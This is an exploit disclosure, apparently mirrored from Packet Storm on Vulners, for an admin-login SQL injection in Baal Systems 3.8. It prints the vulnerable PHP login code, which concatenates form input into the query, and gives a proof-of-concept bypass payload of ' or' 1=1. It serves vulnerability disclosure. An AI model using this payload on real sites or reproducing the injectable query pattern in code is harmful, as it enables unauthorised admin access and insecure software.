Lucene search
K

Baal Systems 3.8 SQL Injection

🗓️ 09 Feb 2010 00:00:00Reported by cr4wl3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Baal Systems 3.8 SQL Injection (Auth Bypass

Code
`[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability  
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>  
[+] Download : http://scripts.ringsworld.com/discussion-boards/baalsystems3-8/  
  
[+] Vuln Code :   
  
[adminlogin.php]  
  
<?php  
include("common.php");  
if (!empty($_POST['password'])) {  
$username = $_POST['username'];  
$password = $_POST['password'];  
  
$query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";  
$result1 = db_query($query);  
$rows = db_num_rows($result1);  
$row = db_fetch_array($result1);  
if ($rows != 0) {  
if (session_is_registered("whossession")) {  
$_SESSION['who'] = "admin";  
$_SESSION['userrole'] = "admin";  
$_SESSION['username'] = $username;  
$_SESSION['usernum'] = $row["userid"];  
header("location:admin.php");  
} else {  
session_register("whossession");  
$_SESSION['who'] = "admin";  
$_SESSION['userrole'] = "admin";  
$_SESSION['username'] = $username;  
$_SESSION['usernum'] = $row["userid"];  
header("location:admin.php");  
}   
} else {  
header("location:adminlogin.php?error=yes");  
}   
} else {  
  
?>  
  
[+] PoC :   
  
[BaalSystems_path]/adminlogin.php  
  
  
username: ' or' 1=1  
Password: ' or' 1=1  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation